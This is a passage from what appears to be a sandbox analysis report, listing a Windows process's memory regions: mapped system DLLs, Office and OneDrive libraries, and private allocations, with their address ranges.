"c:\\windows\\system32\\d3d10_1.dll") Region: id = 441 start_va = 0x7fef9b40000 end_va = 0x7fef9bbffff entry_point = 0x7fef9b40000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 442 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 443 start_va = 0x7fef9bd0000 end_va = 0x7fef9bdbfff entry_point = 0x7fef9bd0000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 444 start_va = 0x7fef9be0000 end_va = 0x7fef9c5dfff entry_point = 0x7fef9be0000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 445 start_va = 0x7fef9c60000 end_va = 0x7fef9c94fff entry_point = 0x7fef9c60000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 446 start_va = 0x7fef9ca0000 end_va = 0x7fefa521fff entry_point = 0x7fef9ca0000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll") Region: id = 447 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 448 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 449 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 450 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 451 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 452 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 453 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 454 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 455 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 456 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 457 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 458 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 459 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 460 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 461 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 462 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 463 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 464 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 465 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 466 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 467 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 468 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 469 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 470 start_va = 0x7fefad60000 end_va = 0x7fefb075fff entry_point = 0x7fefad60000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll") Region: id = 471 start_va = 0x7fefb080000 end_va = 0x7fefb33dfff entry_point = 0x7fefb080000 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\amd64\\filesyncshell64.dll") Region: id = 472 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 473 start_va = 0x7fefb3a0000 end_va = 0x7fefb569fff entry_point = 0x7fefb3a0000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 474 start_va = 0x7fefb570000 end_va = 0x7fefb587fff entry_point = 0x7fefb570000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 475 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 476 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 477 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 478 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 479 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 480 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 481 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 482 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 483 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 484 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 485 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 486 start_va = 0x7fefbf10000 end_va = 0x7fefc039fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 487 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 488 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 489 start_va = 0x7fefc140000 end_va = 0x7fefc182fff entry_point = 0x7fefc140000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 490 start_va = 0x7fefc190000 end_va = 0x7fefc281fff entry_point = 0x7fefc190000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 491 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 492 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 493 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 494 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 495 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 496 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 497 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 498 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 499 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 500 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 501 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 502 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 503 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 504 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 505 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 506 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 507 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 508 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 509 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 510 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 511 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 512 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 513 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 514 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 515 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 516 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 517 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 518 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 519 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 520 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 521 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 522 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 523 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 524 start_va = 0x7fefed90000 end_va = 0x7fefee26fff entry_point = 0x7fefed90000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 525 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 526 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 527 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 528 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 529 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 530 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 531 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 532 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 533 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 534 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 535 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 536 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 537 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 538 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 539 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 540 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 541 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 542 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 543 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 544 start_va = 0x7fffff54000 end_va = 0x7fffff55fff entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 545 start_va = 0x7fffff56000 end_va = 0x7fffff57fff entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 546 start_va = 0x7fffff58000 end_va = 0x7fffff59fff entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 547 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 548 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 549 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 550 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 551 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 552 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 553 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 554 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 555 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 556 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 557 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 558 start_va = 0x7fffff70000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename 